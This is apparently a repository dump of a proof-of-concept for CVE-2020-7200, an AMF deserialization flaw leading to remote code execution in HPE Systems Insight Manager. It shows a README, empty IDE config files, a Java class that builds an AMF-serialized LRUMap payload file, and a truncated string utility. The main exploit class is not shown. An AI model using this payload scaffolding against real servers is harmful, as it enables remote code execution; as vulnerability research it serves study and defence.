├── emp.ser
├── out
└── production
│ └── ProjectSIM
│ ├── Test0.class
│ ├── Test1.class
│ ├── Strings.class
│ └── Strings$ToStringComparator.class
├── README.md
├── .idea
├── .gitignore
├── modules.xml
├── misc.xml
└── libraries
│ ├── hpsim_util_web.xml
│ ├── FastInfoset.xml
│ ├── axis_1_4.xml
│ ├── com_azalea_ufl_barcode_1_0.xml
│ ├── activation.xml
│ └── AgentRepair.xml
├── ProjectSIM.iml
└── src
├── Test0.java
├── Strings.java
└── Test1.java
/emp.ser:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/testanull/ProjectSIM/HEAD/emp.ser
--------------------------------------------------------------------------------
/out/production/ProjectSIM/Test0.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/testanull/ProjectSIM/HEAD/out/production/ProjectSIM/Test0.class
--------------------------------------------------------------------------------
/out/production/ProjectSIM/Test1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/testanull/ProjectSIM/HEAD/out/production/ProjectSIM/Test1.class
--------------------------------------------------------------------------------
/out/production/ProjectSIM/Strings.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/testanull/ProjectSIM/HEAD/out/production/ProjectSIM/Strings.class
--------------------------------------------------------------------------------
/out/production/ProjectSIM/Strings$ToStringComparator.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/testanull/ProjectSIM/HEAD/out/production/ProjectSIM/Strings$ToStringComparator.class
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ProjectSIM
2 | HPE Systems Insight Manager (SIM) AMF Deserialization to RCE
3 |
4 | CVE-2020-7200
5 |
6 | This PoC is built by jang
7 |
8 | Thanks to @peterjson
9 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../:\Research2020\hpe-sim\ProjectSIM\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/libraries/hpsim_util_web.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/ProjectSIM.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/.idea/libraries/FastInfoset.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/src/Test0.java:
--------------------------------------------------------------------------------
1 | import flex.messaging.io.SerializationContext;
2 | import flex.messaging.io.amf.*;
3 | import org.apache.commons.collections.LRUMap;
4 |
5 | import java.io.*;
6 |
7 | public class Test0 {
8 | public static void main(String[] args) throws Exception{
9 | LRUMap lruMap = new LRUMap();
10 | byte[] ser = serialize(lruMap);
11 | FileOutputStream fileOutputStream = new FileOutputStream("emp.ser");
12 | fileOutputStream.write(ser);
13 | fileOutputStream.close();
14 | }
15 | public static byte[] serialize(Object data) throws IOException {
16 | MessageBody body = new MessageBody();
17 | body.setData(data);
18 |
19 | ActionMessage message = new ActionMessage();
20 | message.addBody(body);
21 |
22 | ByteArrayOutputStream out = new ByteArrayOutputStream();
23 |
24 | AmfMessageSerializer serializer = new AmfMessageSerializer();
25 | serializer.initialize(SerializationContext.getSerializationContext(), out, null);
26 | serializer.writeMessage(message);
27 |
28 | return out.toByteArray();
29 | }
30 |
31 | public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
32 | ByteArrayInputStream in = new ByteArrayInputStream(amf);
33 |
34 | AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
35 | deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
36 | deserializer.readMessage(new ActionMessage(), new ActionContext());
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/.idea/libraries/axis_1_4.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/src/Strings.java:
--------------------------------------------------------------------------------
1 | import java.util.Arrays;
2 | import java.util.Comparator;
3 | import java.util.LinkedList;
4 | import java.util.List;
5 |
6 | public class Strings {
7 | public static String join(Iterable strings, String sep, String prefix, String suffix) {
8 | final StringBuilder sb = new StringBuilder();
9 | boolean first = true;
10 | for (String s : strings) {
11 | if (! first) sb.append(sep);
12 | if (prefix != null) sb.append(prefix);
13 | sb.append(s);
14 | if (suffix != null) sb.append(suffix);
15 | first = false;
16 | }
17 | return sb.toString();
18 | }
19 |
20 | public static String repeat(String str, int num) {
21 | final String[] strs = new String[num];
22 | Arrays.fill(strs, str);
23 | return join(Arrays.asList(strs), "", "", "");
24 | }
25 |
26 | public static List formatTable(List rows) {
27 | final Integer[] maxLengths = new Integer[rows.get(0).length];
28 | for (String[] row : rows) {
29 | if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
30 | for (int i = 0; i < maxLengths.length; i++) {
31 | if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
32 | maxLengths[i] = row[i].length();
33 | }
34 | }
35 | }
36 |
37 | final List lines = new LinkedList();
38 | for (String[] row : rows) {
39 | for (int i = 0; i < maxLengths.length; i++) {
40 | final String pad = repeat(" ", maxLengths[i] - row[i].length());
41 | row[i] = row[i] + pad;
42 | }
43 | lines.add(join(Arrays.asList(row), " ", "", ""));
44 | }
45 | return lines;
46 | }
47 |
48 | public static class ToStringComparator implements Comparator